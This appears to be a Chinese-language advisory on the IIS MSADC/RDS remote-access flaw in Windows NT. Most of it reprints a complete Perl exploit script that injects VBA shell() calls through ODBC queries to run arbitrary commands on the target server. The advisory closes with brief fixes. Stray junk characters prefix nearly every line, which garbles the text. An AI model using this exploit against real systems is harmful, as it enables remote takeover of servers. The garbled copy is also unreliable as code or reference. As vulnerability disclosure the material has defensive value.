IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}iXDa?6% ~P*6ozSYpY 涉及程序：
3m ]4= Microsoft NT server
\8)U!9,$nn |{B IHgMh 描述：
5gH1.7i b 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@TLS<~ 2#KJ asX 详细：
mq aHwID 如果你没有时间读详细内容的话，就删除:
/f:dv?!km c:\Program Files\Common Files\System\Msadc\msadcs.dll
`slL %j^" 有关的安全问题就没有了。
H u\B"fdS R0P
iv: 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
n Ot&pq7 zvYq@Mhr 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
yh Yb'GK 关于利用ODBC远程漏洞的描述，请参看:
s>B5l2Q4 7L`A{L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )IP,; < iZ#!O* > 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4,bv)Im+ ` http://www.microsoft.com/security/bulletins/MS99-025faq.asp WK ts[Z bZnuNYty75 这里不再论述。
^nT/i
.#_ p#01gB 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
S @jQX K,Ef9c/+K /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:8L8q< U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
<6EeD5{* :By?O"LQ ~+Rc }K #将下面这段保存为txt文件，然后: "perl -x 文件名"
R+2 +-j4 fV &KM*W*@ #!perl
*"+=K,#D #
v6=RY<l"m # MSADC/RDS 'usage' (aka exploit) script
RHaI ~jb #
_D+}q_ # by rain.forest.puppy
Nh8Q b/:: #
NTdi xfR # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]mo-rhDsM # beta test and find errors!
eK6hS_E |8&,b`Gfo use Socket; use Getopt::Std;
: Ux?, getopts("e:vd:h:XR", \%args);
Qi ua sT !~ J4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
3VsW@SG7N WzPTFw[ if (!defined $args{h} && !defined $args{R}) {
q
0$,*[PH print qq~
2QD 3&Q9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
3*]eigi) -h <host> = host you want to scan (ip or domain)
*S]Ci\{_ -d <seconds> = delay between calls, default 1 second
4iqoR$3Fc -X = dump Index Server path table, if available
LIS)(X<]? -v = verbose
9 %8 "e>~ -e = external dictionary file for step 5
D N'3QQn na#CpS;pc Or a -R will resume a command session
E=jNi 8qY79)vD4E ~; exit;}
-9%:ilX~ >z/#_z@LV $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
LM$W* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
I(] }XZq if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9 8j>1 "8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~T ]m>A! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
88VZR&v if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O ,J>/
8J=? 5 if (!defined $args{R}){ $ret = &has_msadc;
aDq5C-MzG die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y[`l3;u:' _a5 d?Q9Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)jU)_To . "cmd /c ";
k&&2Tq $in=<STDIN>; chomp $in;
`s"'r ! $command="cmd /c " . $in ;
6 )Hwt_b f* !j[U/r_ if (defined $args{R}) {&load; exit;}
@ >d*H75 W0y '5` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|2?'9< &try_btcustmr;
QP@%(]f G ~c8? >oN( print "\nStep 2: Trying to make our own DSN...";
@E^~$-J5j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
sc|_Q/`\. o]+z)5zC print "\nStep 3: Trying known DSNs...";
3[\iQ*d }B &known_dsn;
1QqYQafA 8B7 cBkl: print "\nStep 4: Trying known .mdbs...";
e>7]w,*| &known_mdb;
u}>#Eb )'Oh `$M if (defined $args{e}){
$5 6Z#'(D print "\nStep 5: Trying dictionary of DSN names...";
;,$NAejgd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
O!zV)^r m`IC6 * print "Sorry Charley...maybe next time?\n";
U1@IX4^2` exit;
{G|,\ O1 [DJ flCR& ##############################################################################
c|lu&}BS ?Y)vGlWDW< sub sendraw { # ripped and modded from whisker
tkVbo.[8K sleep($delay); # it's a DoS on the server! At least on mine...
P7J>+cm my ($pstr)=@_;
$"` - ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E'v _#FLvR die("Socket problems\n");
{ kp-h2 I, if(connect(S,pack "SnA4x8",2,80,$target)){
q`|LRz&al select(S); $|=1;
x9 $` W print $pstr; my @in=<S>;
~3UQ|j select(STDOUT); close(S);
{p)",)td return @in;
&J55P]7w } else { die("Can't connect...\n"); }}
b^ L
\>3 B||*.`3gN ##############################################################################
/|r^W\DV&x =7-9[ { sub make_header { # make the HTTP request
e`@ # *}A my $msadc=<<EOT
-#0qV:D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tna .52*/ User-Agent: ACTIVEDATA
@xQgY*f# Host: $ip
*n; !G8\ Content-Length: $clen
AcS|c:3MUy Connection: Keep-Alive
p%iGc<vHX 3Dg,GaRk ADCClientVersion:01.06
r^h4z`:L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
x N=i]~ ]G pxhg --!ADM!ROX!YOUR!WORLD!
]P#X VDn+; Content-Type: application/x-varg
H7 0LhN Content-Length: $reqlen
8j Mk)- @'YS1 N< EOT
@L>q (Kg ; $msadc=~s/\n/\r\n/g;
WF2}-NU" return $msadc;}
IK ABB W {xwm^p(f ##############################################################################
2 uG0/7 s<*XN NE7 sub make_req { # make the RDS request
0F@"b{&0 my ($switch, $p1, $p2)=@_;
EM]s/LD@% my $req=""; my $t1, $t2, $query, $dsn;
(>F%UY SLO%7%>p if ($switch==1){ # this is the btcustmr.mdb query
6Ca (U' $query="Select * from Customers where City=" . make_shell();
C2@,BCR $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,pqGX3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`%CtWJ(e J+[_W d elsif ($switch==2){ # this is general make table query
"nZ*{uv $query="create table AZZ (B int, C varchar(10))";
wyp|qIS; $dsn="$p1";}
Q&MZN);. g$(
V^ elsif ($switch==3){ # this is general exploit table query
qi;f^9M% $query="select * from AZZ where C=" . make_shell();
|\Qg X%
$dsn="$p1";}
Rz (QC\( -9"['-WH, elsif ($switch==4){ # attempt to hork file info from index server
'I _Qb$ $query="select path from scope()";
M 9EfU $dsn="Provider=MSIDXS;";}
Lk~ho?^` 8* 8Zc/{ elsif ($switch==5){ # bad query
pF&(7u $query="select";
Fkvl%n $dsn="$p1";}
9v?N+Rb .}'qUPNR $t1= make_unicode($query);
&F\? $t2= make_unicode($dsn);
ZPiq-q $req = "\x02\x00\x03\x00";
}xBc0g r $req.= "\x08\x00" . pack ("S1", length($t1));
MHSs!^/g5 $req.= "\x00\x00" . $t1 ;
tYZ[6 8 $req.= "\x08\x00" . pack ("S1", length($t2));
}Mo=PWI1? $req.= "\x00\x00" . $t2 ;
_Xn qb+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Is]aj-#r return $req;}
Se HagKA OC1I&",Ai| ##############################################################################
} -ftyl7 KiI!frm1 sub make_shell { # this makes the shell() statement
r;>*_Oc7g return "'|shell(\"$command\")|'";}
$}lbT15a t>1Z\lE\" ##############################################################################
SfgU`eF%B !
vP[; 6 sub make_unicode { # quick little function to convert to unicode
mu?Eco`~ my ($in)=@_; my $out;
)p
T?/ J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7s"<
'cx_F return $out;}
VS9`{ $wmvKQc{lx ##############################################################################
uIcn{RZ_z (:._"jp] sub rdo_success { # checks for RDO return success (this is kludge)
0dhF&*h|L my (@in) = @_; my $base=content_start(@in);
n3}!p'-CC if($in[$base]=~/multipart\/mixed/){
Of{/t1o? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U"q/rcA return 0;}
)E6;-rD0^+ U Z.=aQ}M ##############################################################################
(rkyW z V2$h8\a sub make_dsn { # this makes a DSN for us
!6s"]WvF my @drives=("c","d","e","f");
b'J'F;zh> print "\nMaking DSN: ";
/DQc&.jK foreach $drive (@drives) {
M%1}/!J3 print "$drive: ";
_7IKzUn9g[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)N=NR2xBZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_{R=B8Zz\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'&. # $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G"X8} :} return 0 if $2 eq "404"; # not found/doesn't exist
Vnx,5E& if($2 eq "200") {
Yu?95qk tP foreach $line (@results) {
vr0WS3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
, #U .j } return 0;}
@?= |Y 1U^A56CN ##############################################################################
/rq VB|M S|apw7C sub verify_exists {
|~'IM3Jw(Y my ($page)=@_;
M@4UGM`J my @results=sendraw("GET $page HTTP/1.0\n\n");
j'% $XvI return $results[0];}
z |a sa* t]$P 1*I ##############################################################################
Eq$&qV-?( | ;.o8} sub try_btcustmr {
vFE ;D@bz: my @drives=("c","d","e","f");
ta `N8vnf my @dirs=("winnt","winnt35","winnt351","win","windows");
$-#Yl&?z9 58%#DX34M foreach $dir (@dirs) {
#+$G=pS'v print "$dir -> "; # fun status so you can see progress
?*?R P)V foreach $drive (@drives) {
VYt!U print "$drive: "; # ditto
sXi=70o $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}-~X4u# $reqlenlen=length( "$reqlen" );
yHHt(GM|o $clen= 206 + $reqlenlen + $reqlen;
WcHgB bNe eFpTW&9n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#ggf' QIHp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kqce[hgs< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#<e\QE '! ZK QG:M~| ##############################################################################
%=?cZfFqO pY _s*0_ sub odbc_error {
oI}kH=<, my (@in)=@_; my $base;
DA2}{ my $base = content_start(@in);
Uil Mv~0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~><^ 'j[ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T :/,2.l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3 n'V\H vz $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A,%C,*)Cg return $in[$base+4].$in[$base+5].$in[$base+6];}
Hir Fl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
D8>enum print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/e]'u&a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,z;ky 5Ct .k
3 ' ##############################################################################
Mk=mT3=# C8 vOE`U,J sub verbose {
qduWzxB my ($in)=@_;
nBHnkbKoy return if !$verbose;
UW9?p} F print STDOUT "\n$in\n";}
|N }P(GF H^.IY_I`U* ##############################################################################
DXa=|T 0
;b[QRmy sub save {
d}JP!xf% my ($p1, $p2, $p3, $p4)=@_;
6KVn nK open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/ODXV`3QYI print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|1ST=O7.LH close OUT;}
+)j 1.X wjh=Q ##############################################################################
_)]+hUw Y N\HQN0d9 sub load {
td4[[ / my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
abJ"
[ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y`o+XimX @p=<IN>; close(IN);
Qb)C[5a} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
HsnLm67' $target= inet_aton($ip) || die("inet_aton problems");
]d a^xWK print "Resuming to $ip ...";
INk D=tX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
lu#LCG-. if($p[1]==1) {
={5#fgK> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
lW(px^&IN $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
TQ`Rk;0R my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
LJOr !rWi if (rdo_success(@results)){print "Success!\n";}
Q %w Y else { print "failed\n"; verbose(odbc_error(@results));}}
{_Lg tu elsif ($p[1]==3){
' Hi :
2Wh if(run_query("$p[3]")){
H"C[&r print "Success!\n";} else { print "failed\n"; }}
{}QB|IH` elsif ($p[1]==4){
`.T}=j | if(run_query($drvst . "$p[3]")){
8me ]JRw print "Success!\n"; } else { print "failed\n"; }}
$&<uT exit;}
j'aHF #_ + V{7")px6 ##############################################################################
8E4mA5@ "=6v&G]U4 sub create_table {
E\IlF 6 my ($in)=@_;
n+BJxu? $reqlen=length( make_req(2,$in,"") ) - 28;
NvHJ3> "% $reqlenlen=length( "$reqlen" );
BWrv%7 $clen= 206 + $reqlenlen + $reqlen;
Pt&(npjN, my @results=sendraw(make_header() . make_req(2,$in,""));
b8% C *r7 return 1 if rdo_success(@results);
1~l
I 8 my $temp= odbc_error(@results); verbose($temp);
^-rfvc return 1 if $temp=~/Table 'AZZ' already exists/;
qwK2WE%T return 0;}
\EKU*5\Hp> CBDG./ ##############################################################################
{5d9$v7k4 @FC"nM
sub known_dsn {
' j6g G # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9elga"4:' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
k6Uc3O "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
u ~3%bJ] "banner", "banners", "ads", "ADCDemo", "ADCTest");
vk>b#%1{ 9 _QP !, foreach $dSn (@dsns) {
A8q;q 2 print ".";
V\})3i 8 next if (!is_access("DSN=$dSn"));
0]D{Va if(create_table("DSN=$dSn")){
bu=? N print "$dSn successful\n";
QT9n,lX if(run_query("DSN=$dSn")){
N? 5x9duK print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=7m}yDs6$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q 2A 7mGN Qb! PRCHQ ##############################################################################
N<Q jdD& ;L|uIg;.s sub is_access {
} g3+{\x8 my ($in)=@_;
2_ :n $reqlen=length( make_req(5,$in,"") ) - 28;
P\]B< $reqlenlen=length( "$reqlen" );
r}0\}~'?c $clen= 206 + $reqlenlen + $reqlen;
$ t5 V=}m> my @results=sendraw(make_header() . make_req(5,$in,""));
[ !
'op0 my $temp= odbc_error(@results);
#U*_1P0h verbose($temp); return 1 if ($temp=~/Microsoft Access/);
CH
fVQ|!\ return 0;}
:>aQ~1f>] `xz<>g9e ##############################################################################
/
}R z=& }lK3-2Pk sub run_query {
T ]j.=|,d my ($in)=@_;
Wd0 [%`dq $reqlen=length( make_req(3,$in,"") ) - 28;
]c&<ze X, $reqlenlen=length( "$reqlen" );
4GR !y) $clen= 206 + $reqlenlen + $reqlen;
,jC3 Fcly my @results=sendraw(make_header() . make_req(3,$in,""));
ATy*^sc&" return 1 if rdo_success(@results);
<BSc* 9Q my $temp= odbc_error(@results); verbose($temp);
i 9g>9 return 0;}
_;4 [Q1 7@6g<"I ##############################################################################
'kYwz;gp ur vduE sub known_mdb {
(mtoA#X1:h my @drives=("c","d","e","f","g");
49d@! my @dirs=("winnt","winnt35","winnt351","win","windows");
K_
lVISBQ my $dir, $drive, $mdb;
LGc&o]k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~>0qZ{3J_ 11|Rdd+} # this is sparse, because I don't know of many
h(qQsxIOhS my @sysmdbs=( "\\catroot\\icatalog.mdb",
pDQ}* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%L [& ,a "\\system32\\certmdb.mdb",
pA;-v MpMj "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
e(NLX` `]LSbS my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
{Qbv R*gv "\\cfusion\\cfapps\\forums\\forums_.mdb",
or k=`}; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
AW#<i_Ybf "\\cfusion\\cfapps\\security\\realm_.mdb",
Z4){
7|~a "\\cfusion\\cfapps\\security\\data\\realm.mdb",
x!_<z'' "\\cfusion\\database\\cfexamples.mdb",
4lq H8l. "\\cfusion\\database\\cfsnippets.mdb",
6l$L~> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
QZX~T|Ckv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
BS&;n "\\cfusion\\brighttiger\\database\\cleam.mdb",
SxK:]Aw "\\cfusion\\database\\smpolicy.mdb",
\uME+NF "\\cfusion\\database\cypress.mdb",
+[ J/Zw0{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
EZ.!rh~+ "\\website\\cgi-win\\dbsample.mdb",
&20P,8@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
N)S!7%ne "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
341?0 %= ); #these are just
0wFH!s/B foreach $drive (@drives) {
2Bk$ lx7 foreach $dir (@dirs){
;Nr ]X foreach $mdb (@sysmdbs) {
*WE1;msr print ".";
3x~{QG5Gn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_U{([M>; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#{9G sD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|!q$_at print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@HBEt^! } else { print "Something's borked. Use verbose next time\n"; }}}}}
5j0{p$ '9 ^`SA'F , foreach $drive (@drives) {
83cW=?UgA foreach $mdb (@mdbs) {
.D 4bqL print ".";
xyH/e*a if(create_table($drv . $drive . $dir . $mdb)){
8F)G7
H , print "\n" . $drive . $dir . $mdb . " successful\n";
577:u<Yt if(run_query($drv . $drive . $dir . $mdb)){
NZN- ^ > print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^v9|%^ug } else { print "Something's borked. Use verbose next time\n"; }}}}
YpUp@/" }
" 4H8A = $|$e% ##############################################################################
g(O;{Q_ ;WT{|z sub hork_idx {
m, ')&{Rd print "\nAttempting to dump Index Server tables...\n";
+>7$4`Nb2 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y${l!+q $reqlen=length( make_req(4,"","") ) - 28;
O[9-:,B{w $reqlenlen=length( "$reqlen" );
}j1!j&& $clen= 206 + $reqlenlen + $reqlen;
IMnP[WA ! my @results=sendraw2(make_header() . make_req(4,"",""));
M[~{Vd if (rdo_success(@results)){
_ nP;Fx my $max=@results; my $c; my %d;
#'OaKt?Z) for($c=19; $c<$max; $c++){
$KjTa#[RX7 $results[$c]=~s/\x00//g;
kC UT ^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
w6 2=06`@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Q,Z*8FH= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`(0LK% w $d{"$1$2"}="";}
9 1of~ffh foreach $c (keys %d){ print "$c\n"; }
==/n(LBD } else {print "Index server doesn't seem to be installed.\n"; }}
$j I>[% TP1S[`nR ##############################################################################
8u2+tB Sd IX-k . sub dsn_dict {
}. )s%4p8
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cgC\mM4Nla while(<IN>){
#JA}3] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`\<37E\N} next if (!is_access("DSN=$dSn"));
, jy*1Hjd if(create_table("DSN=$dSn")){
}a&mY ^ print "$dSn successful\n";
R7~ Yw*#, if(run_query("DSN=$dSn")){
BO.dz06(Rw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f>$h@/-* print "Something's borked. Use verbose next time\n";}}}
&~B5.sppnB print "\n"; close(IN);}
]%RNA:(F' P&*sB%B ##############################################################################
-{|`H[nmD %;z((3F sub sendraw2 { # ripped and modded from whisker
IGFGa@C sleep($delay); # it's a DoS on the server! At least on mine...
+TeF t5[)h my ($pstr)=@_;
# $\fh;!W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y{ f7
f'_ die("Socket problems\n");
92dF`sv if(connect(S,pack "SnA4x8",2,80,$target)){
3Dm8[o$Z print "Connected. Getting data";
ID1?PM open(OUT,">raw.out"); my @in;
vMSW$Bx ; select(S); $|=1; print $pstr;
K:yr-#(P/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pz_e =xr close(OUT); select(STDOUT); close(S); return @in;
^ _p%Yv } else { die("Can't connect...\n"); }}
d0 er^ ~ l{P\No ##############################################################################
__p_8P V'Qn sI sub content_start { # this will take in the server headers
km:nE: | my (@in)=@_; my $c;
%@ mGK 8 for ($c=1;$c<500;$c++) {
i(2y:U3[@ if($in[$c] =~/^\x0d\x0a/){
Z\>, ),O if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
cJn HW else { return $c+1; }}}
m nF}S5[9 return -1;} # it should never get here actually
P\~{3U ] *%+H|l ##############################################################################
f?Bj _z 1
[z'G)v sub funky {
h`MdKX$ my (@in)=@_; my $error=odbc_error(@in);
Jd
3@cLCe- if($error=~/ADO could not find the specified provider/){
3+ OsjZ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PfW|77 exit;}
S+x_c4 T if($error=~/A Handler is required/){
<o:@dS print "\nServer has custom handler filters (they most likely are patched)\n";
[JTto!Ih$ exit;}
U; xF#e if($error=~/specified Handler has denied Access/){
Uhh
l3%p print "\nServer has custom handler filters (they most likely are patched)\n";
O>DNC-m)i{ exit;}}
j!#O G CfT/R/L ##############################################################################
f1{z~i9@$ H*e' Cs/ sub has_msadc {
;~zNqdlH my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
sDiHXDI_ m my $base=content_start(@results);
h.tY 'F return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0x)dnq\ return 0;}
v%{0 Tyk WX UkuO ########################
+p:Y=>bTj eE:&qy ^ Mpx/S<Z 解决方案：
z
YDK $ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
eS!C3xC;J] 2、移除web 目录: /msadc
